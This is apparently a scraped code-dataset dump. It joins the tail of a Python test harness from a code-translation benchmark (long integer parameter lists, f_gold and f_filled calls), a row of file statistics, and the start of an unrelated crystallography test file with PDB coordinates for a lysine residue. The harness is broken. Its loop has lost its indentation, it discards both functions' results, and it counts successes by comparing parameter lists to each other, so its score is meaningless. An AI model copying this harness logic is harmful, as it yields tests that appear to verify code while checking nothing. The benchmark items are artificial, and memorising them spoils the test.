-90, -82, -78, -76, -64, -60, -58, -58, -50, -48, -48, -46, -32, -18, -12, -12, -6, 0, 8, 16, 24, 30, 34, 34, 48, 52, 56, 60, 64, 68, 70, 74, 82, 88, 96], [-88, -86, -82, -82, -74, -64, -62, -60, -56, -50, -42, -36, -28, -26, -26, -24, -18, 10, 16, 24, 26, 26, 28, 34, 42, 50, 52, 54, 56, 66, 74, 80, 82, 90, 90, 92], [-98, -88, -86, -84, -72, -72, -62, -58, -56, -52, -50, -50, -40, -40, -36, -34, -24, -20, -10, 16, 20, 22, 30, 34, 34, 36, 50, 50, 58, 64, 66, 66, 80, 82, 88, 98], [-98, -98, -90, -84, -82, -80, -78, -76, -66, -62, -48, -48, -48, -42, -32, -16, -14, -6, 14, 14, 18, 20, 22, 30, 32, 34, 36, 46, 48, 52, 56, 58, 66, 80, 84, 94], [-98, -82, -82, -76, -76, -72, -70, -66, -62, -62, -54, -46, -40, -30, -10, -6, -2, -2, 8, 34, 42, 48, 50, 50, 66, 70, 76, 80, 88, 90, 94, 94, 94, 96, 96, 98], [-98, -90, -86, -84, -82, -78, -78, -72, -70, -64, -46, -44, -42, -38, -38, -22, -20, -12, -4, 8, 10, 28, 28, 32, 34, 44, 48, 68, 72, 78, 82, 82, 82, 90, 96, 96], [-96, -88, -88, -84, -80, -72, -64, -56, -52, -50, -46, -42, -40, -38, -32, -16, -16, -8, -4, 0, 6, 20, 24, 42, 44, 52, 54, 64, 66, 72, 78, 82, 82, 84, 84, 90], [-96, -96, -94, -84, -78, -74, -74, -72, -60, -56, -56, -48, -44, -38, -38, -28, -14, -14, -10, 2, 4, 4, 20, 26, 28, 32, 32, 34, 36, 48, 52, 74, 76, 88, 92, 94]],22,19,),
([[1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0], [1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1], [0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1], [1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0], [1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0], [1, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0], [0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1], [1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 0, 1], [0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1], [0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0], [0, 1, 0, 1, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1], [1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1], [1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0], [1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0], [1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1], [1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1], [1, 0, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 1, 0, 0], [1, 0, 0, 0, 1, 1, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 0], [0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1], [1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0], [0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0], [0, 1, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0], [1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0], [0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 1], [1, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0], [1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0], [1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0], [1, 1, 0, 0, 0, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1], [0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1], [1, 0, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0], [1, 1, 1, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 1, 1, 1], [0, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 1], [0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0], [1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 0, 1], [1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1], [1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1], [0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1], [0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 0, 1], [1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 1, 1], [1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1], [1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1], [0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1, 1, 0], [0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1], [1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1], [0, 1, 0, 1, 0, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 0, 1], [0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 1, 0, 1, 1]],34,39,),
([[4, 11, 15, 17, 27, 28, 30, 33, 38, 41, 41, 46, 50, 51, 53, 56, 58, 67, 77, 80, 95, 97, 98], [4, 7, 10, 11, 14, 22, 25, 27, 28, 29, 31, 31, 32, 62, 62, 64, 68, 69, 73, 74, 79, 90, 94], [1, 5, 7, 7, 25, 26, 30, 32, 49, 50, 52, 57, 65, 69, 78, 82, 84, 85, 87, 88, 94, 98, 99], [26, 32, 40, 43, 43, 50, 51, 51, 55, 57, 61, 61, 62, 67, 73, 76, 76, 78, 78, 79, 84, 90, 97], [9, 16, 21, 29, 30, 42, 46, 50, 53, 54, 55, 56, 59, 67, 67, 69, 69, 75, 79, 80, 89, 90, 92], [5, 5, 10, 13, 18, 26, 29, 31, 40, 44, 50, 51, 52, 54, 55, 66, 75, 78, 80, 88, 90, 92, 99], [4, 5, 7, 9, 11, 18, 19, 20, 45, 49, 51, 60, 63, 66, 77, 78, 78, 85, 87, 88, 91, 93, 96], [11, 15, 22, 30, 31, 33, 36, 38, 38, 39, 41, 53, 57, 57, 64, 70, 71, 72, 74, 78, 81, 83, 90], [3, 8, 10, 10, 16, 18, 22, 26, 34, 35, 39, 46, 51, 52, 63, 67, 69, 71, 79, 82, 86, 86, 87], [4, 5, 6, 7, 14, 14, 16, 19, 25, 33, 49, 59, 60, 61, 61, 71, 74, 76, 77, 84, 94, 95, 97], [1, 9, 9, 9, 10, 11, 29, 29, 30, 33, 39, 64, 65, 68, 70, 70, 72, 72, 76, 77, 88, 89, 91], [12, 16, 19, 20, 26, 30, 33, 35, 45, 47, 51, 51, 72, 72, 72, 75, 82, 85, 89, 94, 95, 95, 97], [3, 5, 9, 17, 19, 19, 24, 36, 40, 43, 43, 55, 55, 61, 66, 67, 67, 68, 78, 80, 81, 84, 91], [2, 8, 13, 14, 14, 16, 16, 18, 19, 22, 24, 35, 37, 40, 41, 54, 56, 86, 88, 88, 91, 94, 99], [6, 8, 9, 10, 13, 13, 16, 21, 23, 26, 35, 39, 50, 59, 78, 79, 79, 80, 83, 87, 90, 93, 99], [6, 7, 9, 14, 18, 23, 28, 30, 31, 40, 41, 44, 48, 52, 56, 66, 69, 70, 76, 76, 78, 91, 91], [1, 9, 18, 20, 20, 30, 31, 36, 41, 41, 41, 46, 51, 59, 63, 64, 65, 83, 84, 89, 91, 93, 94], [4, 6, 12, 14, 17, 18, 21, 27, 32, 36, 45, 47, 48, 55, 60, 64, 66, 74, 79, 82, 82, 96, 99], [9, 28, 28, 32, 36, 36, 38, 43, 47, 48, 53, 61, 64, 68, 68, 86, 87, 90, 91, 94, 96, 97, 98], [6, 7, 8, 11, 14, 23, 23, 26, 29, 43, 44, 46, 53, 55, 65, 67, 72, 83, 89, 93, 98, 99, 99], [4, 6, 14, 20, 25, 29, 30, 45, 52, 54, 55, 56, 63, 65, 66, 66, 70, 71, 77, 79, 88, 90, 96], [2, 4, 4, 8, 12, 18, 19, 20, 32, 33, 34, 36, 47, 56, 66, 66, 66, 67, 73, 76, 78, 92, 92], [4, 11, 19, 20, 24, 28, 31, 33, 33, 35, 40, 42, 43, 44, 44, 48, 56, 58, 75, 79, 84, 92, 97]],11,19,),
([[82, 68, 56, 10, 52, 4, 16, -70, -52, -72, 40, 50, 44, -26, -20, 66, 40, 60, 86, 66, 94, -98], [-54, -94, -6, 38, -28, -12, 8, 34, 12, 74, -42, 24, -56, 74, -10, 62, -96, -46, 2, -20, 70, 12], [-54, 22, -82, -26, -86, -94, -36, 88, 12, -66, 42, 62, -74, 52, 2, -64, -34, 90, -84, -96, -42, -84], [78, 12, 8, 90, -16, 76, -58, 86, 16, -34, 20, 48, -88, 16, 44, 86, 72, -32, 4, -52, -48, -70], [-6, 48, 52, -14, 96, -50, 76, -26, 82, -52, 32, 42, -70, -12, -34, 48, 90, -50, -32, -32, 72, 68], [34, 18, -94, -34, 2, -66, 4, 16, 96, -2, -14, -82, -28, -60, -74, -64, 56, -38, 76, 24, -78, 42], [14, -42, -94, 2, -54, -76, 0, 90, -6, 0, 94, 24, -66, 34, 86, -80, -38, -20, 50, 96, 38, -68], [-88, 86, 74, 58, -6, 48, 2, -60, 20, -66, -6, 58, 4, -32, 34, -82, -64, 20, 6, 58, -84, 48], [-88, 94, 10, 28, -40, -46, 10, 14, -74, -8, -46, 8, -16, 70, -16, 96, -62, -82, 84, -94, 16, 12], [-2, 0, -32, 96, 86, 42, 96, 34, 0, 8, 50, 86, 46, -34, -18, -26, 52, -28, -98, 94, -42, -84], [90, -66, 48, 12, 2, -46, 64, 70, -66, -90, -38, -56, -10, 34, -70, 36, 46, 62, 96, 78, 72, 78], [14, -66, -38, 60, -46, 22, -64, -54, -94, -90, 32, 98, 12, 4, -52, -52, 2, -8, 96, 60, -94, 34], [-6, -4, 70, 88, -92, -8, -32, -88, -18, -92, 2, 50, -16, -56, 92, 74, 98, 78, -36, 90, 60, 78], [46, -18, 56, -46, -78, 40, -74, 64, -32, 80, 16, -88, -84, 34, 98, 66, 92, 18, 68, -48, -76, 74], [96, -14, -60, 48, 20, -26, 92, 68, -54, 80, -68, 32, -94, 96, -60, 42, 82, -6, 84, -52, -80, 70], [-16, 40, -66, -12, 76, 10, -98, -16, -24, 14, -34, 40, 54, 40, -42, 44, 88, -88, -22, 30, 24, -24], [32, -14, 88, 68, -26, -2, 46, 14, -10, -56, -66, -18, -82, 48, 46, 74, -74, 46, 6, -70, -98, 8], [62, -74, 18, -6, 70, -50, -58, -14, 98, -42, -22, 36, 78, 14, -76, 4, -84, -32, 60, -34, -52, -14], [28, 0, 64, 32, -60, -4, 72, 46, -52, 26, -72, 4, -88, -36, 92, 42, 84, 28, -76, -92, 20, 78], [26, -14, -78, -44, -98, 56, -88, 32, 74, -40, -96, -26, 36, -32, 22, 22, -80, -10, 86, -52, 98, 58], [-68, 8, 18, -14, -64, 34, 2, 76, 38, -48, 60, -18, -96, -28, 60, 70, 36, -58, -32, 72, -18, 66], [96, 20, 74, -70, -64, -30, 88, 50, 20, -2, 38, 8, 10, -86, 48, -44, -14, 18, 78, 56, 26, 76]],21,19,),
([[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1]],12,13,),
([[93, 92, 85, 87, 63], [1, 60, 73, 25, 93], [2, 98, 22, 39, 4], [98, 55, 51, 49, 81], [29, 53, 81, 83, 92]],2,3,)
]
n_success = 0
for i, parameters_set in enumerate(param):
f_filled(*(filled_function_param[i]))
f_gold(*parameters_set)
if parameters_set == filled_function_param[i]:
n_success+=1
print("#Results: %i, %i" % (n_success, len(param)))
| 563.422535
| 6,735
| 0.398195
| 10,534
| 40,003
| 1.5075
| 0.014809
| 0.1733
| 0.144332
| 0.112343
| 0.953904
| 0.952771
| 0.952771
| 0.952771
| 0.952771
| 0.952771
| 0
| 0.521935
| 0.274054
| 40,003
| 71
| 6,736
| 563.422535
| 0.024897
| 0.004625
| 0
| 0.393443
| 0
| 0
| 0.000703
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.016393
| false
| 0
| 0
| 0
| 0.016393
| 0.098361
| 0
| 0
| 1
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
484a0cedaccd46f0fada3b1f5e822a092fe3edb0
| 20,710
|
py
|
Python
|
mmtbx/building/tst_extend_sidechains_2.py
|
dperl-sol/cctbx_project
|
b9e390221a2bc4fd00b9122e97c3b79c632c6664
|
[
"BSD-3-Clause-LBNL"
] | 155
|
2016-11-23T12:52:16.000Z
|
2022-03-31T15:35:44.000Z
|
mmtbx/building/tst_extend_sidechains_2.py
|
dperl-sol/cctbx_project
|
b9e390221a2bc4fd00b9122e97c3b79c632c6664
|
[
"BSD-3-Clause-LBNL"
] | 590
|
2016-12-10T11:31:18.000Z
|
2022-03-30T23:10:09.000Z
|
mmtbx/building/tst_extend_sidechains_2.py
|
dperl-sol/cctbx_project
|
b9e390221a2bc4fd00b9122e97c3b79c632c6664
|
[
"BSD-3-Clause-LBNL"
] | 115
|
2016-11-15T08:17:28.000Z
|
2022-02-09T15:30:14.000Z
|
from __future__ import absolute_import, division, print_function
from mmtbx.building import extend_sidechains
import mmtbx.monomer_library
from scitbx.array_family import flex
import iotbx.pdb
from libtbx.test_utils import approx_equal
mon_lib_srv = mmtbx.monomer_library.server.server()
###
pdb_str0_bad="""
ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N
ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C
ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C
ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O
ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C
ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C
ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C
ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C
ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N
ATOM 0 HA LYS A 7 5.646 6.153 2.918 1.00 18.23 H new
remark ATOM 0 HB2 LYS A 7 3.514 5.375 1.233 1.00 23.56 H new
remark ATOM 0 HB3 LYS A 7 3.315 6.378 2.411 1.00 23.56 H new
remark ATOM 0 HG2 LYS A 7 4.599 7.982 1.386 1.00 33.58 H new
remark ATOM 0 HG3 LYS A 7 5.161 6.961 0.350 1.00 33.58 H new
remark ATOM 0 HD2 LYS A 7 2.426 7.717 0.393 1.00 41.39 H new
remark ATOM 0 HD3 LYS A 7 3.456 8.385 -0.570 1.00 41.39 H new
remark ATOM 0 HE2 LYS A 7 3.826 6.296 -1.622 1.00 48.81 H new
remark ATOM 0 HE3 LYS A 7 2.797 5.628 -0.660 1.00 48.81 H new
remark ATOM 0 HZ1 LYS A 7 1.802 6.117 -2.648 1.00 48.81 H new
remark ATOM 0 HZ2 LYS A 7 1.154 6.908 -1.616 1.00 48.81 H new
remark ATOM 0 HZ3 LYS A 7 2.113 7.530 -2.513 1.00 48.81 H new
"""
pdb_str0_good="""
ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N
ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C
ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C
ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O
ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C
ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C
ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C
ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C
ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N
ATOM 0 HA LYS A 7 5.646 6.153 2.918 1.00 18.23 H new
ATOM 0 HB2 LYS A 7 3.514 5.375 1.233 1.00 23.56 H new
ATOM 0 HB3 LYS A 7 3.315 6.378 2.411 1.00 23.56 H new
ATOM 0 HG2 LYS A 7 4.599 7.982 1.386 1.00 33.58 H new
ATOM 0 HG3 LYS A 7 5.161 6.961 0.350 1.00 33.58 H new
ATOM 0 HD2 LYS A 7 2.426 7.717 0.393 1.00 41.39 H new
ATOM 0 HD3 LYS A 7 3.456 8.385 -0.570 1.00 41.39 H new
ATOM 0 HE2 LYS A 7 3.826 6.296 -1.622 1.00 48.81 H new
ATOM 0 HE3 LYS A 7 2.797 5.628 -0.660 1.00 48.81 H new
ATOM 0 HZ1 LYS A 7 1.802 6.117 -2.648 1.00 48.81 H new
ATOM 0 HZ2 LYS A 7 1.154 6.908 -1.616 1.00 48.81 H new
ATOM 0 HZ3 LYS A 7 2.113 7.530 -2.513 1.00 48.81 H new
"""
###
pdb_str1_bad="""
ATOM 1 N LYS A 7 6.033 4.704 1.582 1.00 17.49 N
ATOM 2 CA LYS A 7 5.159 5.427 2.499 1.00 18.23 C
ATOM 3 C LYS A 7 4.673 4.437 3.507 1.00 14.78 C
ATOM 4 O LYS A 7 4.777 3.208 3.297 1.00 15.83 O
ATOM 5 CB LYS A 7 3.959 6.057 1.760 1.00 23.56 C
ATOM 6 CG LYS A 7 4.368 7.206 0.851 1.00 33.58 C
ATOM 7 CD LYS A 7 3.242 7.559 -0.108 1.00 41.39 C
ATOM 8 CE LYS A 7 3.009 6.453 -1.124 1.00 48.81 C
remark ATOM 9 NZ LYS A 7 1.909 6.785 -2.070 1.00 48.81 N
ATOM 0 HA LYS A 7 5.646 6.153 2.918 1.00 18.23 H new
ATOM 0 HB2 LYS A 7 3.514 5.375 1.233 1.00 23.56 H new
ATOM 0 HB3 LYS A 7 3.315 6.378 2.411 1.00 23.56 H new
ATOM 0 HG2 LYS A 7 4.599 7.982 1.386 1.00 33.58 H new
ATOM 0 HG3 LYS A 7 5.161 6.961 0.350 1.00 33.58 H new
ATOM 0 HD2 LYS A 7 2.426 7.717 0.393 1.00 41.39 H new
ATOM 0 HD3 LYS A 7 3.456 8.385 -0.570 1.00 41.39 H new
ATOM 0 HE2 LYS A 7 3.826 6.296 -1.622 1.00 48.81 H new
ATOM 0 HE3 LYS A 7 2.797 5.628 -0.660 1.00 48.81 H new
ATOM 0 HZ1 LYS A 7 1.802 6.117 -2.648 1.00 48.81 H new
ATOM 0 HZ2 LYS A 7 1.154 6.908 -1.616 1.00 48.81 H new
